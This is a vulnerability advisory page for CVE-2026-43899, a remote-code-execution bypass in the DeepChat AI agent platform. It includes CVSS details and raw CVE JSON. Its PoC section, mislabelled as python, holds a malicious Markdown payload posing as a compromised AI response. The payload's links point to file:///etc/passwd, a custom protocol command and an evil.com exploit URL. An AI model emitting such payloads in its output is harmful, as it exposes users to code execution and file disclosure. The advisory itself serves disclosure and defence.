Security Vulnerability Report
中文
CVE-2026-43899 CVSS 9.6 CRITICAL

CVE-2026-43899

Published: 2026-05-11 23:20:21
Last Modified: 2026-05-11 23:20:21

Description

DeepChat is an open-source artificial intelligence agent platform that unifies models, tools, and agents. Prior to v1.0.4-beta.1, An incomplete mitigation for CVE-2025-55733 leaves DeepChat vulnerable to an arbitrary protocol execution bypass (RCE). While the patch correctly restricted api.openExternal() inside the renderer's preload/index.ts script, it structurally neglected to sanitize native Electron pop-up window handlers. An attacker or a compromised AI endpoint returning a Markdown link can trigger a target="_blank" native window interception in tabPresenter.ts, which forwards the malicious URL directly to shell.openExternal(url) and completely bypasses the isValidExternalUrl security boundary. This vulnerability is fixed in v1.0.4-beta.1.

CVSS Details

CVSS Score
9.6
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

DeepChat < v1.0.4-beta.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC Concept: Malicious Markdown Payload // This payload simulates a response from a compromised AI endpoint. // When rendered in DeepChat < v1.0.4-beta.1, the 'target="_blank"' attribute // triggers the vulnerable tabPresenter.ts handler, which calls shell.openExternal(). const maliciousMarkdown = ` # Security Advisory Please check the system configuration by clicking the link below: [Check System Logs](file:///etc/passwd) [Install Update](custom-protocol://malicious-command -argument) [External Link](http://evil.com/exploit) `; // Attack Flow: // 1. AI Endpoint returns the 'maliciousMarkdown' string. // 2. DeepChat renders the Markdown. // 3. The user clicks the link, or the renderer processes the target="_blank". // 4. tabPresenter.ts intercepts the event and calls shell.openExternal('file:///etc/passwd'). // 5. The OS executes the command, bypassing the security check.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-43899", "sourceIdentifier": "[email protected]", "published": "2026-05-11T23:20:21.410", "lastModified": "2026-05-11T23:20:21.410", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "DeepChat is an open-source artificial intelligence agent platform that unifies models, tools, and agents. Prior to v1.0.4-beta.1, An incomplete mitigation for CVE-2025-55733 leaves DeepChat vulnerable to an arbitrary protocol execution bypass (RCE). While the patch correctly restricted api.openExternal() inside the renderer's preload/index.ts script, it structurally neglected to sanitize native Electron pop-up window handlers. An attacker or a compromised AI endpoint returning a Markdown link can trigger a target=\"_blank\" native window interception in tabPresenter.ts, which forwards the malicious URL directly to shell.openExternal(url) and completely bypasses the isValidExternalUrl security boundary. This vulnerability is fixed in v1.0.4-beta.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}]}], "references": [{"url": "https://github.com/ThinkInAIXYZ/deepchat/security/advisories/GHSA-cp8j-jx7q-7r5f", "source": "[email protected]"}]}}